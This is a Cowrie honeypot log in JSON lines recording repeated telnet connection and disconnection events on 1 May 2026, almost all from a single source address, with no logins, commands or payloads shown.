{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48586,"dst_ip":"159.203.135.109","dst_port":23,"session":"666c90534d84","protocol":"telnet","message":"New connection: 194.163.135.148:48586 (159.203.135.109:23) [session: 666c90534d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:05.081161Z"}
{"eventid":"cowrie.session.closed","duration":36.51692175865173,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:06.012918Z","src_ip":"194.163.135.148","session":"a169b86778d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.954285621643066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:06.937107Z","src_ip":"194.163.135.148","session":"4267cb4ad89d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48618,"dst_ip":"159.203.135.109","dst_port":23,"session":"6895fedc8942","protocol":"telnet","message":"New connection: 194.163.135.148:48618 (159.203.135.109:23) [session: 6895fedc8942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:06.987039Z"}
{"eventid":"cowrie.session.closed","duration":31.249608278274536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:07.673369Z","src_ip":"194.163.135.148","session":"4ff3629e7430","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.32346749305725,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:07.709026Z","src_ip":"194.163.135.148","session":"8b8a56e90ad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.97215962409973,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:08.062876Z","src_ip":"194.163.135.148","session":"c5310a795c29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48630,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a9dc641c1c9","protocol":"telnet","message":"New connection: 194.163.135.148:48630 (159.203.135.109:23) [session: 8a9dc641c1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:08.185248Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48636,"dst_ip":"159.203.135.109","dst_port":23,"session":"589f9c43a7ce","protocol":"telnet","message":"New connection: 194.163.135.148:48636 (159.203.135.109:23) [session: 589f9c43a7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:08.679150Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48648,"dst_ip":"159.203.135.109","dst_port":23,"session":"14276d329700","protocol":"telnet","message":"New connection: 194.163.135.148:48648 (159.203.135.109:23) [session: 14276d329700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:09.558597Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48660,"dst_ip":"159.203.135.109","dst_port":23,"session":"e104de48084d","protocol":"telnet","message":"New connection: 194.163.135.148:48660 (159.203.135.109:23) [session: e104de48084d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:10.213142Z"}
{"eventid":"cowrie.session.closed","duration":36.786221504211426,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:10.374125Z","src_ip":"194.163.135.148","session":"bbfdc2ceaf11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.13206243515015,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:10.413424Z","src_ip":"194.163.135.148","session":"876795bc6ce4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.00582218170166,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:12.476657Z","src_ip":"194.163.135.148","session":"996a14d84536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48712,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d0aa047092a","protocol":"telnet","message":"New connection: 194.163.135.148:48712 (159.203.135.109:23) [session: 0d0aa047092a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:13.141188Z"}
{"eventid":"cowrie.session.closed","duration":32.30351781845093,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:13.563417Z","src_ip":"194.163.135.148","session":"0322ab384bd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48700,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9f86e8807f2","protocol":"telnet","message":"New connection: 194.163.135.148:48700 (159.203.135.109:23) [session: b9f86e8807f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:14.169209Z"}
{"eventid":"cowrie.session.closed","duration":31.63009548187256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:14.294810Z","src_ip":"194.163.135.148","session":"5e3b00da8bd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77028250694275,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:18.503186Z","src_ip":"194.163.135.148","session":"93cb7798e2a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.81187701225281,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:18.713789Z","src_ip":"194.163.135.148","session":"00c9dc6b8383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48828,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eebe3fcdc6d","protocol":"telnet","message":"New connection: 194.163.135.148:48828 (159.203.135.109:23) [session: 3eebe3fcdc6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:20.725045Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48832,"dst_ip":"159.203.135.109","dst_port":23,"session":"04e792b66c3b","protocol":"telnet","message":"New connection: 194.163.135.148:48832 (159.203.135.109:23) [session: 04e792b66c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:20.786099Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48838,"dst_ip":"159.203.135.109","dst_port":23,"session":"396e06109fab","protocol":"telnet","message":"New connection: 194.163.135.148:48838 (159.203.135.109:23) [session: 396e06109fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:22.197394Z"}
{"eventid":"cowrie.session.closed","duration":37.49517273902893,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:24.514817Z","src_ip":"194.163.135.148","session":"e5277208bc79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48882,"dst_ip":"159.203.135.109","dst_port":23,"session":"7036deace579","protocol":"telnet","message":"New connection: 194.163.135.148:48882 (159.203.135.109:23) [session: 7036deace579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:24.568854Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48900,"dst_ip":"159.203.135.109","dst_port":23,"session":"d84705e3b53a","protocol":"telnet","message":"New connection: 194.163.135.148:48900 (159.203.135.109:23) [session: d84705e3b53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:25.322946Z"}
{"eventid":"cowrie.session.closed","duration":36.30516314506531,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:26.356005Z","src_ip":"194.163.135.148","session":"571208746688","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30928182601929,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:28.727956Z","src_ip":"194.163.135.148","session":"a6ded3af5d69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48952,"dst_ip":"159.203.135.109","dst_port":23,"session":"65e9de5134a3","protocol":"telnet","message":"New connection: 194.163.135.148:48952 (159.203.135.109:23) [session: 65e9de5134a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:29.752898Z"}
{"eventid":"cowrie.session.closed","duration":72.25473189353943,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:30.313182Z","src_ip":"185.26.126.47","session":"a36978ab4936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48960,"dst_ip":"159.203.135.109","dst_port":23,"session":"63e1bd518fbd","protocol":"telnet","message":"New connection: 194.163.135.148:48960 (159.203.135.109:23) [session: 63e1bd518fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:30.523320Z"}
{"eventid":"cowrie.session.closed","duration":35.68643617630005,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:31.979879Z","src_ip":"194.163.135.148","session":"988441b8a358","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49004,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5fc817fdde3","protocol":"telnet","message":"New connection: 194.163.135.148:49004 (159.203.135.109:23) [session: a5fc817fdde3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:33.114242Z"}
{"eventid":"cowrie.session.closed","duration":36.13685202598572,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:33.322651Z","src_ip":"194.163.135.148","session":"4afb6418493d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.730597734451294,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:33.390710Z","src_ip":"185.26.126.47","session":"ef4eb2e0d3c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49018,"dst_ip":"159.203.135.109","dst_port":23,"session":"177787ccb93d","protocol":"telnet","message":"New connection: 194.163.135.148:49018 (159.203.135.109:23) [session: 177787ccb93d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:34.279811Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49022,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd7d3ebeb3f4","protocol":"telnet","message":"New connection: 194.163.135.148:49022 (159.203.135.109:23) [session: cd7d3ebeb3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:35.351372Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49040,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0e67b185bc3","protocol":"telnet","message":"New connection: 194.163.135.148:49040 (159.203.135.109:23) [session: b0e67b185bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:35.436792Z"}
{"eventid":"cowrie.session.closed","duration":36.472790002822876,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:35.810616Z","src_ip":"194.163.135.148","session":"2c24f888decd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49086,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c674e7b0f4f","protocol":"telnet","message":"New connection: 194.163.135.148:49086 (159.203.135.109:23) [session: 0c674e7b0f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:38.515716Z"}
{"eventid":"cowrie.session.closed","duration":33.58351135253906,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:38.664540Z","src_ip":"194.163.135.148","session":"666c90534d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49092,"dst_ip":"159.203.135.109","dst_port":23,"session":"27ccf286258a","protocol":"telnet","message":"New connection: 194.163.135.148:49092 (159.203.135.109:23) [session: 27ccf286258a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:38.846298Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49098,"dst_ip":"159.203.135.109","dst_port":23,"session":"2028561b09e2","protocol":"telnet","message":"New connection: 194.163.135.148:49098 (159.203.135.109:23) [session: 2028561b09e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:39.741632Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49058,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e67670227c0","protocol":"telnet","message":"New connection: 194.163.135.148:49058 (159.203.135.109:23) [session: 9e67670227c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:39.795123Z"}
{"eventid":"cowrie.session.closed","duration":37.542006731033325,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:40.023331Z","src_ip":"194.163.135.148","session":"d9bd4b90befa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61460900306702,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:40.601492Z","src_ip":"194.163.135.148","session":"6895fedc8942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.700806617736816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:41.259265Z","src_ip":"194.163.135.148","session":"14276d329700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.055336236953735,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:41.413160Z","src_ip":"194.163.135.148","session":"aad6e8e3a076","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49144,"dst_ip":"159.203.135.109","dst_port":23,"session":"f72facad1d1e","protocol":"telnet","message":"New connection: 194.163.135.148:49144 (159.203.135.109:23) [session: f72facad1d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:42.398667Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49148,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ea68ed70a6c","protocol":"telnet","message":"New connection: 194.163.135.148:49148 (159.203.135.109:23) [session: 3ea68ed70a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:42.759932Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49156,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7a5a8813c8d","protocol":"telnet","message":"New connection: 194.163.135.148:49156 (159.203.135.109:23) [session: a7a5a8813c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:43.367921Z"}
{"eventid":"cowrie.session.closed","duration":34.9499614238739,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:43.628984Z","src_ip":"194.163.135.148","session":"589f9c43a7ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.12360692024231,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:44.308726Z","src_ip":"194.163.135.148","session":"8a9dc641c1c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49190,"dst_ip":"159.203.135.109","dst_port":23,"session":"97adea64fc47","protocol":"telnet","message":"New connection: 194.163.135.148:49190 (159.203.135.109:23) [session: 97adea64fc47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:46.119185Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49216,"dst_ip":"159.203.135.109","dst_port":23,"session":"e441e9c3df3f","protocol":"telnet","message":"New connection: 194.163.135.148:49216 (159.203.135.109:23) [session: e441e9c3df3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:47.617907Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49186,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3a31217e359","protocol":"telnet","message":"New connection: 194.163.135.148:49186 (159.203.135.109:23) [session: f3a31217e359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:47.961018Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49228,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc38f2e55b67","protocol":"telnet","message":"New connection: 194.163.135.148:49228 (159.203.135.109:23) [session: bc38f2e55b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:49.491178Z"}
{"eventid":"cowrie.session.closed","duration":36.380120038986206,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:49.521153Z","src_ip":"194.163.135.148","session":"0d0aa047092a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49270,"dst_ip":"159.203.135.109","dst_port":23,"session":"259acc16e2f1","protocol":"telnet","message":"New connection: 194.163.135.148:49270 (159.203.135.109:23) [session: 259acc16e2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:50.894391Z"}
{"eventid":"cowrie.session.closed","duration":40.78633666038513,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:50.999352Z","src_ip":"194.163.135.148","session":"e104de48084d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49260,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb49d9ead8ac","protocol":"telnet","message":"New connection: 194.163.135.148:49260 (159.203.135.109:23) [session: bb49d9ead8ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:51.251414Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49294,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecc91cb22067","protocol":"telnet","message":"New connection: 194.163.135.148:49294 (159.203.135.109:23) [session: ecc91cb22067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:53.575964Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49302,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4a835a5ad5e","protocol":"telnet","message":"New connection: 194.163.135.148:49302 (159.203.135.109:23) [session: e4a835a5ad5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:53.919957Z"}
{"eventid":"cowrie.session.closed","duration":33.23792815208435,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:54.023922Z","src_ip":"194.163.135.148","session":"04e792b66c3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.17421746253967,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:56.371486Z","src_ip":"194.163.135.148","session":"396e06109fab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.924643754959106,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:57.649564Z","src_ip":"194.163.135.148","session":"3eebe3fcdc6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49402,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fdb043f28f3","protocol":"telnet","message":"New connection: 194.163.135.148:49402 (159.203.135.109:23) [session: 7fdb043f28f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:00.842494Z"}
{"eventid":"cowrie.session.closed","duration":36.80237650871277,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:01.371117Z","src_ip":"194.163.135.148","session":"7036deace579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.83374834060669,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:03.156481Z","src_ip":"194.163.135.148","session":"d84705e3b53a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5640549659729,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:04.316801Z","src_ip":"194.163.135.148","session":"65e9de5134a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49458,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6f9c7bbdac3","protocol":"telnet","message":"New connection: 194.163.135.148:49458 (159.203.135.109:23) [session: f6f9c7bbdac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:06.563413Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49464,"dst_ip":"159.203.135.109","dst_port":23,"session":"3122630a5e44","protocol":"telnet","message":"New connection: 194.163.135.148:49464 (159.203.135.109:23) [session: 3122630a5e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:06.820030Z"}
{"eventid":"cowrie.session.closed","duration":34.38730001449585,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:07.501388Z","src_ip":"194.163.135.148","session":"a5fc817fdde3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49474,"dst_ip":"159.203.135.109","dst_port":23,"session":"298e5d8170fe","protocol":"telnet","message":"New connection: 194.163.135.148:49474 (159.203.135.109:23) [session: 298e5d8170fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:08.083872Z"}
{"eventid":"cowrie.session.closed","duration":38.14068365097046,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:08.663848Z","src_ip":"194.163.135.148","session":"63e1bd518fbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49486,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4246e65847b","protocol":"telnet","message":"New connection: 194.163.135.148:49486 (159.203.135.109:23) [session: b4246e65847b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:09.693767Z"}
{"eventid":"cowrie.session.closed","duration":55.938018560409546,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:10.107117Z","src_ip":"194.163.135.148","session":"b9f86e8807f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.695011854171753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:10.210630Z","src_ip":"194.163.135.148","session":"0c674e7b0f4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49518,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f3193e4a6a8","protocol":"telnet","message":"New connection: 194.163.135.148:49518 (159.203.135.109:23) [session: 8f3193e4a6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:10.218490Z"}
{"eventid":"cowrie.session.closed","duration":35.409942626953125,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:10.846629Z","src_ip":"194.163.135.148","session":"b0e67b185bc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.237146139144897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:10.978649Z","src_ip":"194.163.135.148","session":"2028561b09e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49528,"dst_ip":"159.203.135.109","dst_port":23,"session":"882ddaf87a33","protocol":"telnet","message":"New connection: 194.163.135.148:49528 (159.203.135.109:23) [session: 882ddaf87a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:11.276041Z"}
